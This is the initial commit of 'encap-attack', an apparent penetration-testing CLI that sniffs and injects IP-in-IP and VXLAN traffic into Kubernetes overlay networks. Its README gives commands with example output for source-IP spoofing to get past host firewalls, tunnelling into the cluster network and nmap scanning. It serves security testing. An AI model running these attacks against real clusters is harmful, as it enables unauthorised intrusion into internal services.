commit 2f1e915ddbbd7b232df50586e6891f340550e952 Author: Matthew Grove Date: Fri Aug 30 12:59:36 2024 +0100 Initial commit diff --git a/.github/workflows/python-publish.yml b/.github/workflows/python-publish.yml new file mode 100644 index 0000000..1a33878 --- /dev/null +++ b/.github/workflows/python-publish.yml @@ -0,0 +1,97 @@ +# This workflow will upload a Python Package using Twine when a release is created +# For more information see: https://docs.github.com/en/actions/automating-builds-and-tests/building-and-testing-python#publishing-to-package-registries + +# This workflow uses actions that are not certified by GitHub. +# They are provided by a third-party and are governed by +# separate terms of service, privacy policy, and support +# documentation. + +name: Upload Python Package + +on: push + +permissions: + contents: read + +jobs: + build: + name: Build distribution + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: '3.x' + - name: Install pypa/build + run: python3 -m pip install build --user + - name: Build a binary wheel and a source tarball + run: python3 -m build + - name: Store the distribution packages + uses: actions/upload-artifact@v4 + with: + name: python-package-distributions + path: dist/ + + publish-to-pypi: + name: Publish Python distribution to PyPI + if: startsWith(github.ref, 'refs/tags/') # only publish to PyPI on tag pushes + needs: + - build + runs-on: ubuntu-latest + environment: + name: pypi + url: https://pypi.org/p/encap-attack + permissions: + id-token: write + steps: + - name: Download all the dists + uses: actions/download-artifact@v4 + with: + name: python-package-distributions + path: dist/ + - name: Publish distribution to PyPI + uses: pypa/gh-action-pypi-publish@release/v1 + + github-release: + name: Sign the Python distribution with Sigstore and upload to GitHub Releases + needs: + - publish-to-pypi + runs-on: ubuntu-latest + + permissions: + contents: write + id-token: write + + steps: + - name: Download all the dists + uses: actions/download-artifact@v4 + with: + name: python-package-distributions + path: dist/ + - name: Sign the dists with Sigstore + uses: sigstore/gh-action-sigstore-python@v3.0.0 + with: + inputs: >- + ./dist/*.tar.gz + ./dist/*.whl + - name: Create GitHub Release + env: + GITHUB_TOKEN: ${{ github.token }} + run: >- + gh release create + '${{ github.ref_name }}' + --repo '${{ github.repository }}' + --notes "" + - name: Upload artifact signatures to GitHub Release + env: + GITHUB_TOKEN: ${{ github.token }} + # Upload to GitHub Release using the `gh` CLI. + # `dist/` contains the built packages, and the + # sigstore-produced signatures and certificates. + run: >- + gh release upload + '${{ github.ref_name }}' dist/** + --repo '${{ github.repository }}' + + diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..82f9275 --- /dev/null +++ b/.gitignore @@ -0,0 +1,162 @@ +# Byte-compiled / optimized / DLL files +__pycache__/ +*.py[cod] +*$py.class + +# C extensions +*.so + +# Distribution / packaging +.Python +build/ +develop-eggs/ +dist/ +downloads/ +eggs/ +.eggs/ +lib/ +lib64/ +parts/ +sdist/ +var/ +wheels/ +share/python-wheels/ +*.egg-info/ +.installed.cfg +*.egg +MANIFEST + +# PyInstaller +# Usually these files are written by a python script from a template +# before PyInstaller builds the exe, so as to inject date/other infos into it. +*.manifest +*.spec + +# Installer logs +pip-log.txt +pip-delete-this-directory.txt + +# Unit test / coverage reports +htmlcov/ +.tox/ +.nox/ +.coverage +.coverage.* +.cache +nosetests.xml +coverage.xml +*.cover +*.py,cover +.hypothesis/ +.pytest_cache/ +cover/ + +# Translations +*.mo +*.pot + +# Django stuff: +*.log +local_settings.py +db.sqlite3 +db.sqlite3-journal + +# Flask stuff: +instance/ +.webassets-cache + +# Scrapy stuff: +.scrapy + +# Sphinx documentation +docs/_build/ + +# PyBuilder +.pybuilder/ +target/ + +# Jupyter Notebook +.ipynb_checkpoints + +# IPython +profile_default/ +ipython_config.py + +# pyenv +# For a library or package, you might want to ignore these files since the code is +# intended to run in multiple environments; otherwise, check them in: +# .python-version + +# pipenv +# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. +# However, in case of collaboration, if having platform-specific dependencies or dependencies +# having no cross-platform support, pipenv may install dependencies that don't work, or not +# install all needed dependencies. +#Pipfile.lock + +# poetry +# Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. +# This is especially recommended for binary packages to ensure reproducibility, and is more +# commonly ignored for libraries. +# https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control +#poetry.lock + +# pdm +# Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control. +#pdm.lock +# pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it +# in version control. +# https://pdm.fming.dev/latest/usage/project/#working-with-version-control +.pdm.toml +.pdm-python +.pdm-build/ + +# PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm +__pypackages__/ + +# Celery stuff +celerybeat-schedule +celerybeat.pid + +# SageMath parsed files +*.sage.py + +# Environments +.env +.venv +env/ +venv/ +ENV/ +env.bak/ +venv.bak/ + +# Spyder project settings +.spyderproject +.spyproject + +# Rope project settings +.ropeproject + +# mkdocs documentation +/site + +# mypy +.mypy_cache/ +.dmypy.json +dmypy.json + +# Pyre type checker +.pyre/ + +# pytype static type analyzer +.pytype/ + +# Cython debug symbols +cython_debug/ + +# PyCharm +# JetBrains specific template is maintained in a separate JetBrains.gitignore that can +# be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore +# and can be added to the global gitignore or merged into this file. For a more nuclear +# option (not recommended) you can uncomment the following to ignore the entire idea folder. +#.idea/ diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..d159169 --- /dev/null +++ b/LICENSE @@ -0,0 +1,339 @@ + GNU GENERAL PUBLIC LICENSE + Version 2, June 1991 + + Copyright (C) 1989, 1991 Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +License is intended to guarantee your freedom to share and change free +software--to make sure the software is free for all its users. This +General Public License applies to most of the Free Software +Foundation's software and to any other program whose authors commit to +using it. (Some other Free Software Foundation software is covered by +the GNU Lesser General Public License instead.) You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +this service if you wish), that you receive source code or can get it +if you want it, that you can change the software or use pieces of it +in new free programs; and that you know you can do these things. + + To protect your rights, we need to make restrictions that forbid +anyone to deny you these rights or to ask you to surrender the rights. +These restrictions translate to certain responsibilities for you if you +distribute copies of the software, or if you modify it. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must give the recipients all the rights that +you have. You must make sure that they, too, receive or can get the +source code. And you must show them these terms so they know their +rights. + + We protect your rights with two steps: (1) copyright the software, and +(2) offer you this license which gives you legal permission to copy, +distribute and/or modify the software. + + Also, for each author's protection and ours, we want to make certain +that everyone understands that there is no warranty for this free +software. If the software is modified by someone else and passed on, we +want its recipients to know that what they have is not the original, so +that any problems introduced by others will not reflect on the original +authors' reputations. + + Finally, any free program is threatened constantly by software +patents. We wish to avoid the danger that redistributors of a free +program will individually obtain patent licenses, in effect making the +program proprietary. To prevent this, we have made it clear that any +patent must be licensed for everyone's free use or not licensed at all. + + The precise terms and conditions for copying, distribution and +modification follow. + + GNU GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License applies to any program or other work which contains +a notice placed by the copyright holder saying it may be distributed +under the terms of this General Public License. The "Program", below, +refers to any such program or work, and a "work based on the Program" +means either the Program or any derivative work under copyright law: +that is to say, a work containing the Program or a portion of it, +either verbatim or with modifications and/or translated into another +language. (Hereinafter, translation is included without limitation in +the term "modification".) Each licensee is addressed as "you". + +Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running the Program is not restricted, and the output from the Program +is covered only if its contents constitute a work based on the +Program (independent of having been made by running the Program). +Whether that is true depends on what the Program does. + + 1. You may copy and distribute verbatim copies of the Program's +source code as you receive it, in any medium, provided that you +conspicuously and appropriately publish on each copy an appropriate +copyright notice and disclaimer of warranty; keep intact all the +notices that refer to this License and to the absence of any warranty; +and give any other recipients of the Program a copy of this License +along with the Program. + +You may charge a fee for the physical act of transferring a copy, and +you may at your option offer warranty protection in exchange for a fee. + + 2. You may modify your copy or copies of the Program or any portion +of it, thus forming a work based on the Program, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) You must cause the modified files to carry prominent notices + stating that you changed the files and the date of any change. + + b) You must cause any work that you distribute or publish, that in + whole or in part contains or is derived from the Program or any + part thereof, to be licensed as a whole at no charge to all third + parties under the terms of this License. + + c) If the modified program normally reads commands interactively + when run, you must cause it, when started running for such + interactive use in the most ordinary way, to print or display an + announcement including an appropriate copyright notice and a + notice that there is no warranty (or else, saying that you provide + a warranty) and that users may redistribute the program under + these conditions, and telling the user how to view a copy of this + License. (Exception: if the Program itself is interactive but + does not normally print such an announcement, your work based on + the Program is not required to print an announcement.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Program, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Program, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Program. + +In addition, mere aggregation of another work not based on the Program +with the Program (or with a work based on the Program) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may copy and distribute the Program (or a work based on it, +under Section 2) in object code or executable form under the terms of +Sections 1 and 2 above provided that you also do one of the following: + + a) Accompany it with the complete corresponding machine-readable + source code, which must be distributed under the terms of Sections + 1 and 2 above on a medium customarily used for software interchange; or, + + b) Accompany it with a written offer, valid for at least three + years, to give any third party, for a charge no more than your + cost of physically performing source distribution, a complete + machine-readable copy of the corresponding source code, to be + distributed under the terms of Sections 1 and 2 above on a medium + customarily used for software interchange; or, + + c) Accompany it with the information you received as to the offer + to distribute corresponding source code. (This alternative is + allowed only for noncommercial distribution and only if you + received the program in object code or executable form with such + an offer, in accord with Subsection b above.) + +The source code for a work means the preferred form of the work for +making modifications to it. For an executable work, complete source +code means all the source code for all modules it contains, plus any +associated interface definition files, plus the scripts used to +control compilation and installation of the executable. However, as a +special exception, the source code distributed need not include +anything that is normally distributed (in either source or binary +form) with the major components (compiler, kernel, and so on) of the +operating system on which the executable runs, unless that component +itself accompanies the executable. + +If distribution of executable or object code is made by offering +access to copy from a designated place, then offering equivalent +access to copy the source code from the same place counts as +distribution of the source code, even though third parties are not +compelled to copy the source along with the object code. + + 4. You may not copy, modify, sublicense, or distribute the Program +except as expressly provided under this License. Any attempt +otherwise to copy, modify, sublicense or distribute the Program is +void, and will automatically terminate your rights under this License. +However, parties who have received copies, or rights, from you under +this License will not have their licenses terminated so long as such +parties remain in full compliance. + + 5. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Program or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Program (or any work based on the +Program), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Program or works based on it. + + 6. Each time you redistribute the Program (or any work based on the +Program), the recipient automatically receives a license from the +original licensor to copy, distribute or modify the Program subject to +these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties to +this License. + + 7. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Program at all. For example, if a patent +license would not permit royalty-free redistribution of the Program by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Program. + +If any portion of this section is held invalid or unenforceable under +any particular circumstance, the balance of the section is intended to +apply and the section as a whole is intended to apply in other +circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system, which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 8. If the distribution and/or use of the Program is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Program under this License +may add an explicit geographical distribution limitation excluding +those countries, so that distribution is permitted only in or among +countries not thus excluded. In such case, this License incorporates +the limitation as if written in the body of this License. + + 9. The Free Software Foundation may publish revised and/or new versions +of the General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + +Each version is given a distinguishing version number. If the Program +specifies a version number of this License which applies to it and "any +later version", you have the option of following the terms and conditions +either of that version or of any later version published by the Free +Software Foundation. If the Program does not specify a version number of +this License, you may choose any version ever published by the Free Software +Foundation. + + 10. If you wish to incorporate parts of the Program into other free +programs whose distribution conditions are different, write to the author +to ask for permission. For software which is copyrighted by the Free +Software Foundation, write to the Free Software Foundation; we sometimes +make exceptions for this. Our decision will be guided by the two goals +of preserving the free status of all derivatives of our free software and +of promoting the sharing and reuse of software generally. + + NO WARRANTY + + 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY +FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN +OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES +PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED +OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS +TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE +PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, +REPAIR OR CORRECTION. + + 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR +REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING +OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED +TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY +YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER +PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE +POSSIBILITY OF SUCH DAMAGES. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +convey the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along + with this program; if not, write to the Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + +Also add information on how to contact you by electronic and paper mail. + +If the program is interactive, make it output a short notice like this +when it starts in an interactive mode: + + Gnomovision version 69, Copyright (C) year name of author + Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, the commands you use may +be called something other than `show w' and `show c'; they could even be +mouse-clicks or menu items--whatever suits your program. + +You should also get your employer (if you work as a programmer) or your +school, if any, to sign a "copyright disclaimer" for the program, if +necessary. Here is a sample; alter the names: + + Yoyodyne, Inc., hereby disclaims all copyright interest in the program + `Gnomovision' (which makes passes at compilers) written by James Hacker. + + , 1 April 1989 + Ty Coon, President of Vice + +This General Public License does not permit incorporating your program into +proprietary programs. If your program is a subroutine library, you may +consider it more useful to permit linking proprietary applications with the +library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. diff --git a/README.md b/README.md new file mode 100644 index 0000000..5eff66a --- /dev/null +++ b/README.md @@ -0,0 +1,302 @@ +# Encap-Attack: Encapsulated Network Attacks + +Sniff and attack networks that use IP-in-IP or VXLAN encapsulation protocols. + +## Requirements + +- Python +- `ip` +- `iptables` + +## Installation + +```shell +pip3 install encap-attack +encap-attack --help +``` + +### Development installation + +```shell +git clone https://github.com/WithSecureLabs/encap-attack.git +cd encap-attack +python3 -m venv venv +sudo su +source venv/bin/activate +pip3 install . +encap-attack --help +``` + +## Usage + +Here are some basic usage examples of the tool. More options are available for each command and subcommand, documented by the `--help` options. For example, `encap-attack vxlan --help` or `encap-attack vxlan tunnel --help`. + +All commands can be run in verbose mode using the `-v` flag after `encap-attack`. For example, `encap-attack -v detect`. + +### Sniffing encapsulated network traffic - `detect` + +The tool can listen for encapsulated traffic on the network, and extract information about the encapsulation being used. This will only return information if encapsulated traffic is detected, or if running in verbose mode. To sniff traffic, run: + +```shell +encap-attack detect +``` + +### Obtain information about a Kubernetes cluster - `kubeintel` + +Kubernetes intelligence functionality uses the `kubeintel` subcommand. + +To extract a predicted service IP range and CoreDNS address, and optionally attempt to connect to it using IP-in-IP, two commands exist: `kubeintel guess-cidr` and `kubeintel attempt-ipip`. + +To guess the service CIDR: + +```shell +encap-attack kubeintel guess-cidr +``` + +To guess the service CIDR and attempt to connect to CoreDNS using IP-in-IP, run the following. We recommend spoofing the source IP as another host or Kubernetes node to bypass host firewall rules, using the `-s` flag: + +```shell +encap-attack kubeintel attempt-ipip -a -s +``` + +Example: + +```shell +encap-attack kubeintel attempt-ipip -a 192.168.124.9 -s 192.168.124.11 +``` + +The tool will also provide `kubectl` commands to extract pod/service IP ranges and VXLAN network information from a Kubernetes cluster, with `encap-attack kubeintel get-ip-ranges` and `encap-attack kubeintel get-net-info`, respectively. The `kubectl` commands provided will output the information needed to simulate encapsulated packets to the overlay network. + +### Attack an IP-in-IP network - `ipip` + +IP-in-IP functionality uses the `ipip` subcommand. + +You must ensure the intermediary destination node (`-d` flag) is that on which the target pods reside. If the pods run on a different node, you will receive no response. + +To send a single DNS request, run the following. We recommend spoofing the source IP as another host or Kubernetes node to bypass host firewall rules, using the `-s` flag: + +```shell +encap-attack ipip -d -s request -di dns -t +``` + +Example: + +``` +# encap-attack ipip -d 192.168.124.9 -s 192.168.124.11 request -di 10.100.99.5 dns -t A kube-dns.kube-system.svc.cluster.local +Running in IP-in-IP mode + +Interface IP: 192.168.124.200 + +Sending DNS packet: Ether / IP / IP / UDP / DNS Qry "b'kube-dns.kube-system.svc.cluster.local.'" + +Response: + kube-dns.kube-system.svc.cluster.local: 10.96.0.10 +``` + +For an HTTP request: + +```shell +encap-attack ipip -d -s request -di http "" +``` + +Example: + +``` +# encap-attack ipip -d 192.168.124.10 -s 192.168.124.11 request -di 10.100.99.5 http "GET / HTTP/1.1\r\nHost: 10.100.99.5" +Running in IP-in-IP mode + +Interface IP: 192.168.124.200 + +Sending SYN: Ether / IP / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http S + +Sending ACK: Ether / IP / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http A + +Sending ACK PUSH: Ether / IP / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http PA / Raw + +Sending ACK: Ether / IP / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http A + +Sending FIN ACK: Ether / IP / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http FA + +Sending ACK: Ether / IP / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http A + +Response: + +HTTP/1.1 200 OK +Server: nginx/1.27.1 +Date: Fri, 23 Aug 2024 10:35:13 GMT +Content-Type: text/html +Content-Length: 615 +Last-Modified: Mon, 12 Aug 2024 14:21:01 GMT +Connection: keep-alive +ETag: "66ba1a4d-267" +Accept-Ranges: bytes + + + + + +Welcome to nginx! + + +

Welcome!

+ + +``` + +Alternatively, a tunnel can be configured to route all traffic destined for specific IP ranges into the encapsulated network. The `-a` flag is optionally used to specify a Kubernetes API server. If this value is set, the API server will be queried to guess the service IP range (as per `kubeintel guess-cidr` above) - and this route will automatically be added to the tunnel. Additional routes can be added with the `-r` flag. Use Ctrl+C to shut down the tunnel. + +```shell +encap-attack -d -s tunnel -a -r +``` + +Example: + +``` +# encap-attack -d 192.168.124.10 -s 192.168.124.11 tunnel -a 192.168.124.9 -r 10.2.0.0/16 -r 10.3.0.0/16 +Running in IP-in-IP mode + +Interface IP: 192.168.124.200 + +Kubernetes API server certificate information: + Subject: kube-apiserver + Issuer: kubernetes + IPs: 10.96.0.1, 192.168.124.9 + Hostnames: kubernetes, kubernetes.default, kubernetes.default.svc, kubernetes.default.svc.cluster.local, master + +Guessed service CIDR: 10.96.0.0/12 +kube-dns DNS server may be available at: 10.96.0.10:53 +Cluster DNS suffix: cluster.local + + +Starting tunnel tun0, press Ctrl+C to stop... + + +Encapsulating packet: IP / UDP / DNS Qry "b'kube-dns.kube-system.svc.cluster.local.'" +Sending encapsulated packet: Ether / IP / IP / UDP / DNS Qry "b'kube-dns.kube-system.svc.cluster.local.'" +``` + +All requests to the defined routes (in this example, `10.2.0.0/16`, `10.3.0.0/16`, and the service IP range guessed from information from the API server - 10.96.0.0/12) will then be encapsulated and routed into the overlay network. This permits the use of other tooling (e.g., `nmap`) within the overlay network from an external perspective: + +```shell +nmap -sT 10.2.0.0/16 +``` + +### Attack a VXLAN network - `vxlan` + +VXLAN functionality uses the `vxlan` subcommand. + +The functionality for VXLAN networks is identical to that provided for IP-in-IP networks with the `ipip` command, but requires the additional information needed by the VXLAN protocol, as discussed above. Similar to IP-in-IP, you must ensure the correct destination host/node is used, or you will receive no response. + +To send a single DNS request, run the following. We recommend spoofing the source IP as another host or Kubernetes node to bypass host firewall rules, using the `-s` flag: + +```shell +encap-attack vxlan -d -s -mi --vni -pd request -di dns -t +``` + +Example: + +``` +# encap-attack ipip -d 192.168.124.9 -s 192.168.124.11 -mi aa:bb:cc:dd:ee:ff --vni 4096 -pd 4789 request -di 10.100.99.5 dns -t A kube-dns.kube-system.svc.cluster.local +Running in VXLAN mode + +Interface IP: 192.168.124.200 + +Sending DNS packet: Ether / IP / UDP / VXLAN / Ether / IP / UDP / DNS Qry "b'kube-dns.kube-system.svc.cluster.local.'" + +Response: + kube-dns.kube-system.svc.cluster.local: 10.96.0.10 +``` + +For an HTTP request: + +```shell +encap-attack ipip -d -s -mi --vni -pd request -di http "" +``` + +Example: + +``` +# encap-attack ipip -d 192.168.124.10 -s 192.168.124.11 -mi 99:aa:bb:cc:dd:ee --vni 4096 -pd 4789 request -di 10.100.99.5 http "GET / HTTP/1.1\r\nHost:10.100.99.5" +Running in VXLAN mode + +Interface IP: 192.168.124.200 + +Sending SYN: Ether / IP / UDP / VXLAN / Ether / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http S + +Sending ACK: Ether / IP / UDP / VXLAN / Ether / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http A + +Sending ACK PUSH: Ether / IP / UDP / VXLAN / Ether / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http PA / Raw + +Sending ACK: Ether / IP / UDP / VXLAN / Ether / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http A + +Sending FIN ACK: Ether / IP / UDP / VXLAN / Ether / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http FA + +Sending ACK: Ether / IP / UDP / VXLAN / Ether / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http A + +Response: + +HTTP/1.1 200 OK +Server: nginx/1.27.1 +Date: Fri, 23 Aug 2024 10:35:13 GMT +Content-Type: text/html +Content-Length: 615 +Last-Modified: Mon, 12 Aug 2024 14:21:01 GMT +Connection: keep-alive +ETag: "66ba1a4d-267" +Accept-Ranges: bytes + + + + + +Welcome to nginx! + + +

Welcome!

+ + +``` + +The `vxlan` subcommand also provides a tunnel option, similar to the `ipip` subcommand, with the same functionality. As a reminder, this routes all traffic destined for specific IP ranges into the encapsulated network. The `-a` flag is optionally used to specify a Kubernetes API server. If this value is set, the API server will be queried to guess the service IP range (as per `kubeintel guess-cidr` above) - and this route will automatically be added to the tunnel. Additional routes can be added with the `-r` flag. Use Ctrl+C to shut down the tunnel. + +```shell +encap-attack -d -s -mi --vni -pd tunnel -a -r +``` + +Example: + +``` +# encap-attack -d 192.168.124.10 -s 192.168.124.11 -mi 99:aa:bb:cc:dd:ee --vni 4096 --pd 4789 tunnel -a 192.168.124.9 -r 10.2.0.0/16 -r 10.3.0.0/16 +Running in VXLAN mode + +Interface IP: 192.168.124.200 + +Kubernetes API server certificate information: + Subject: kube-apiserver + Issuer: kubernetes + IPs: 10.96.0.1, 192.168.124.9 + Hostnames: kubernetes, kubernetes.default, kubernetes.default.svc, kubernetes.default.svc.cluster.local, master + +Guessed service CIDR: 10.96.0.0/12 +kube-dns DNS server may be available at: 10.96.0.10:53 +Cluster DNS suffix: cluster.local + + +Starting tunnel tun0, press Ctrl+C to stop... + + +Encapsulating packet: IP / UDP / DNS Qry "b'kube-dns.kube-system.svc.cluster.local.'" +Sending encapsulated packet: Ether / IP / UDP / VXLAN / Ether / IP / UDP / DNS Qry "b'kube-dns.kube-system.svc.cluster.local.'" +``` + +All requests to the defined routes (in this example, `10.2.0.0/16`, `10.3.0.0/16`, and the service IP range guessed from information from the API server - `10.96.0.0/12`) will then be encapsulated and routed into the overlay network. This permits the usage of other tooling (e.g., `nmap`) within the overlay network from an external perspective: + +```shell +nmap -sT 10.2.0.0/16 +``` + +# Acknowledgements + +This tool was initially developed by [Matthew Grove](https://github.com/mgrove36) at WithSecure Consulting. + +It was inspired by research conducted by [Rory McCune](https://raesene.github.io/blog/2021/01/03/Kubernetes-is-a-router/) and [James Cleverley-Prance](https://www.youtube.com/watch?v=7iwnwbbmxqQ). diff --git a/pyproject.toml b/pyproject.toml new file mode 100644 index 0000000..286ae59 --- /dev/null +++ b/pyproject.toml @@ -0,0 +1,38 @@ +[build-system] +requires = ["setuptools"] +build-backend = "setuptools.build_meta" + +[project] +name = "encap-attack" +version = "1.0.0" +license = {file = "LICENSE"} +description = "Network sniffing and attacks using IP-in-IP and VXLAN" +requires-python = ">= 3.7" +classifiers = [ + "Programming Language :: Python :: 3.8", + "Operating System :: OS Independent", +] +dependencies = [ + "cffi", + "click", + "cryptography", + "getmac", + "ipaddress", + "packaging", + "pycparser", + "pyOpenSSL", + "pyproject_hooks", + "scapy", +] +authors = [ + {name = "Matthew Grove", email = "me@mgrove.uk"}, + {name = "Matthew Grove", email = "matthew.grove@withsecure.com"} +] +readme = "README.md" + +[project.scripts] +encap-attack = "encap_attack.tool:cli" + +[project.urls] +Homepage = "https://github.com/WithSecureLabs/encap-attack" +Repository = "https://github.com/WithSecureLabs/encap-attack" diff --git a/src/encap_attack/__init__.py b/src/encap_attack/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/src/encap_attack/tool.py b/src/encap_attack/tool.py new file mode 100644 index 0000000..d5bdb7c --- /dev/null +++ b/src/encap_attack/tool.py @@ -0,0 +1,242 @@ +import warnings +from cryptography.utils import CryptographyDeprecationWarning +warnings.filterwarnings("ignore", category=CryptographyDeprecationWarning) +import click +from encap_attack.utils.encapsulation_models import * +from encap_attack.utils.util_models import * +from typing import Optional + +@click.group(context_settings={'max_content_width': 99999}) +@click.option("-i", "--iface", type=str, help="Network interface to use", default=None) +@click.option("--ip", type=str, help="Interface IP address", default=None) +@click.option("--verbose/--no-verbose", "-v", type=bool, help="Verbose mode enabled", default=False) +@click.pass_context +def cli(ctx, iface: Optional[str], ip: Optional[str], verbose: bool) -> None: + """A CLI tool to facilitate communication and tunneling into overlay networks, in particular for penetration testing.""" + + ctx.ensure_object(dict) + if iface: + click.echo(f"Forcing interface: {iface}\n") + ctx.obj["iface"] = iface + ctx.obj["iface_ip"] = ip + ctx.obj["verbose"] = verbose + if (verbose): + click.echo("Verbose mode is on") + +@cli.command() +@click.option("-t", "--timeout", type=int, help="Sniff timeout in seconds [DEFAULT: None]", default=None) +@click.pass_context +def detect(ctx, timeout: Optional[int]) -> None: + """Sniff network traffic to identify encapsulated packets.""" + + detectEncap(ctx.obj["iface"], timeout, ctx.obj["verbose"]) + +@cli.group() +def kubeintel(): + """Gain information about a Kubernetes cluster for use in future network encapsulation attacks.""" + +@kubeintel.command("attempt-ipip") +@click.option("-a", "--api-server", type=str, help="API server IP address or hostname", required=True) +@click.option("-p", "--api-server-port", type=int, help="API server port [DEFAULT: 6443]", default=6443) +@click.option("-d", "--intermediary-dst-ip", type=str, help="Intermediary destination IP - for Kubernetes, use the destination node [DEFAULT: API server address]", default=None) +@click.option("-s", "--spoofed-src-ip", type=str, help="Spoofed packet source IP address [DEFAULT: interface IP]", default=None) +@click.option("-m", "--spoofed-src-mac", type=str, help="Spoofed packet source MAC address [DEFAULT: MAC associated with spoofed source IP (obtained with ARP)]", default=None) +@click.option("-ps", "--src-port", type=int, help="Source port [DEFAULT: random port 